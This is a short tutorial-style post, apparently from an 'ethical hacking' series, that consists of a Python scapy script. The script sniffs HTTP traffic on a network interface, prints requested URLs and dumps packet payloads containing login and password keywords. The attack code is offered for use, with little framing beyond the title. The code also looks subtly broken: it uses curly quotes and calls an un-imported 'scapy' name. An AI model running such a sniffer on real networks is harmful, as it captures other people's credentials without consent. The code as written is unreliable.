Python Ethical Hacking - Packet Sniffer(2)

#!/usr/bin/env python

from scapy.all import *
from scapy.layers.http import *


def sniff(interface):
    scapy.all.sniff(iface=interface, store=False, prn=process_sniffed_packet)


def get_url(packet):
    return packet[HTTPRequest].Host.decode(errors=‘ignore‘) + packet[HTTPRequest].Path.decode(errors=‘ignore‘)


def get_login_info(packet):
    if packet.haslayer(scapy.all.Raw):
        load = packet[scapy.all.Raw].load.decode(errors=‘ignore‘)
        keywords = ["username", "user", "login", "password", "pass"]
        for keyword in keywords:
            if keyword in load:
                return load


def process_sniffed_packet(packet):
    if packet.haslayer(HTTPRequest):
        url = get_url(packet)
        print("[+] HTTP Request >> " + url)

        login_info = get_login_info(packet)
        if login_info:
            print("\n\n[+] Possible username/password > " + login_info + "\n\n")


sniff("eth0")